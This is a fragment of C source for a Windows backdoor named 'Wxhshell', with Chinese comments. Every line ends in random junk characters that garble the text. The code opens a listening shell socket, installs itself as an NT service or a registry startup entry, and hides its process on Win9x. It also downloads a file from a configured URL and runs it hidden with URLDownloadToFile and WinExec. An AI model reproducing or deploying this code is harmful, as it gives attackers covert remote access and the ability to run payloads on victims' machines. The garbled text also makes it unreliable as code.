ULONG InheritedFromUniqueProcessId; \483S]_-z{
} PROCESS_BASIC_INFORMATION; N:q\i57x
NkV81?
PROCNTQSIP NtQueryInformationProcess;
NDUH10Y:[
9.%t9RM^
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iE?yvtr8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W)Ct*I^
UgLFU#
HANDLE hProcess; A.vf)hO
PROCESS_BASIC_INFORMATION pbi; ,!40\"A
Z;<:=#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KKq%'y)u^
if(NULL == hInst ) return 0; lc8g$Xw3
%*NED zy
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -7KoR}Ck!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .?vHoNvo
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8y']kVg
9}wI@
if (!NtQueryInformationProcess) return 0; 43 vF(<r&f
..kFn!5(g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +MZI \>
if(!hProcess) return 0; D;&\)
9W0*|!tQ,+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dS8ydG2
Uc,MZV4
CloseHandle(hProcess); 0xx4rpH
<+-=j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n2can
if(hProcess==NULL) return 0; q9wObOS$
! 1Hs;K
HMODULE hMod; ?fN6_x2e3
char procName[255]; 's.e"F#
unsigned long cbNeeded; NB4Q,iq$
UZdGV?o ?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3G[|4v?[<_
"=w:LRw
CloseHandle(hProcess); Er;q s *f
NLr a"Z
if(strstr(procName,"services")) return 1; // 以服务启动 ^Ze(WE)
#mU<]O
return 0; // 注册表启动 &b`'RZe
} gnGh )
}N}Js*
// 主模块 Q}G2f4
int StartWxhshell(LPSTR lpCmdLine) @ x .`z
{ n5%\FFG0M
SOCKET wsl; $KQ q~|
BOOL val=TRUE; YKz#,
int port=0; 9%Tqk"x?
struct sockaddr_in door; )Q62 I\
BT&R:_:
if(wscfg.ws_autoins) Install(); gxhdxSm=2
-uxU[E
port=atoi(lpCmdLine); u]Q}jqiq"
Ph%{h"
if(port<=0) port=wscfg.ws_port; SXP(C^?C
sE'c$H
WSADATA data; a{L&RRJ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &XV9_{Hm
=IW!ZN_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^r-d.1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QJj='+R>
door.sin_family = AF_INET; G pI4QzR
door.sin_addr.s_addr = inet_addr("127.0.0.1"); cxQAp
door.sin_port = htons(port); B~^*@5#0|
/{: XYeX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B$6KI
closesocket(wsl); E}KGZSj
return 1; D+v?zQw
} 8R%<~fq r
SswcO9JCX3
if(listen(wsl,2) == INVALID_SOCKET) { &TY74w*
closesocket(wsl); *RxJ8.G
return 1; {Ef.wlZ
} ii_kgqT^
Wxhshell(wsl); }LCm_av
WSACleanup(); <T?-A}0uO
=^GPQ_"
return 0; z\oTuW*B
=}%#j0a4
} SzIzQR93&
:Fm*WqZu
// 以NT服务方式启动 >SLQW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P))BS
{ p5$}h,7
DWORD status = 0; QRvyaV
DWORD specificError = 0xfffffff; 6`7tTn?n
+WAkBE/
serviceStatus.dwServiceType = SERVICE_WIN32; @"`}%-b
serviceStatus.dwCurrentState = SERVICE_START_PENDING; c+&Kq.~K
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?$K-f:?c
serviceStatus.dwWin32ExitCode = 0; zt:
!hM/Vt
serviceStatus.dwServiceSpecificExitCode = 0; ZT@=d$Z&t
serviceStatus.dwCheckPoint = 0; ?IYu"UO<)|
serviceStatus.dwWaitHint = 0; zzhZ1;\
E&
.^|<n
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -Uy)=]Zae
if (hServiceStatusHandle==0) return; R;!@
xy
\HbZ~I-
status = GetLastError(); U+qyS|i
if (status!=NO_ERROR) {ibu0
{ McN[
serviceStatus.dwCurrentState = SERVICE_STOPPED; r}&&e BY
f
serviceStatus.dwCheckPoint = 0; FJDC^@ Ne
serviceStatus.dwWaitHint = 0; J{^md0l
serviceStatus.dwWin32ExitCode = status; Mib.,J~
serviceStatus.dwServiceSpecificExitCode = specificError; iphC\*F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iAZ8Y/
return; !p/SX>NJ
} i_Hm?Bi!F
]y6{um8"
serviceStatus.dwCurrentState = SERVICE_RUNNING; m=sEB8P
serviceStatus.dwCheckPoint = 0; {h|<qfH
serviceStatus.dwWaitHint = 0; },j |eA/W
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &n;*'M
} {QM rgyQE
EP#2it]0]
// 处理NT服务事件,比如:启动、停止 )I[f(f%W7
VOID WINAPI NTServiceHandler(DWORD fdwControl) `v!.
,Yr
{ %Y%r2
switch(fdwControl) p~@,zetS
{ A!Cby!,
case SERVICE_CONTROL_STOP: 3s/1\m%
serviceStatus.dwWin32ExitCode = 0; CyR`&u
serviceStatus.dwCurrentState = SERVICE_STOPPED; !Z tqh Xr
serviceStatus.dwCheckPoint = 0; B;eka[xU
serviceStatus.dwWaitHint = 0; 7JGc9K+Av
{ &Gh0f"?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j{OA%G(I
} ]5jS6@Vl*
return; KR#,6
case SERVICE_CONTROL_PAUSE: Rb L?(
serviceStatus.dwCurrentState = SERVICE_PAUSED; $uHQl#!;
break; LAlwQ^v|
case SERVICE_CONTROL_CONTINUE: >Xk42zvqn
serviceStatus.dwCurrentState = SERVICE_RUNNING; v']_)
break; oh< -&3Jn
case SERVICE_CONTROL_INTERROGATE: m;~} }~&vQ
break; a5pl/d
}; 0TmEa59P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $KbZ4bB[Bo
} 4`Ud\Jm[s
?OFa
Q
// 标准应用程序主函数 3/`BK{
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6 X~ ><r
{ ).;{'8Q
i"}z9Ae~.
// 获取操作系统版本 n7fhc*}:`
OsIsNt=GetOsVer(); uK@d?u!`
GetModuleFileName(NULL,ExeFile,MAX_PATH); EL`|>/[J
E%bhd4$G
// 从命令行安装 6?F88;L
if(strpbrk(lpCmdLine,"iI")) Install(); &N^~=y^`C'
3_)I&RM
// 下载执行文件 oj djy#:
if(wscfg.ws_downexe) { A,.X
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @v%Kw e1Q
WinExec(wscfg.ws_filenam,SW_HIDE); YbU8 xq
} 9!jPZn
Mwnr4$]
if(!OsIsNt) { SvM\9
// 如果时win9x,隐藏进程并且设置为注册表启动 qUd7O](b=?
HideProc(); AB'+6QU9k
StartWxhshell(lpCmdLine); !^%3
} h p|v?3(
else QEs$9a5TE
if(StartFromService()) rJ Jx8)M
// 以服务方式启动 Cjf[]aNJe`
StartServiceCtrlDispatcher(DispatchTable); ByY2KJ7
else RqTO3Kf
// 普通方式启动 8TFQ%jv
StartWxhshell(lpCmdLine); wnokP
9,'m,2%W
return 0; Qb^G1#r@C
}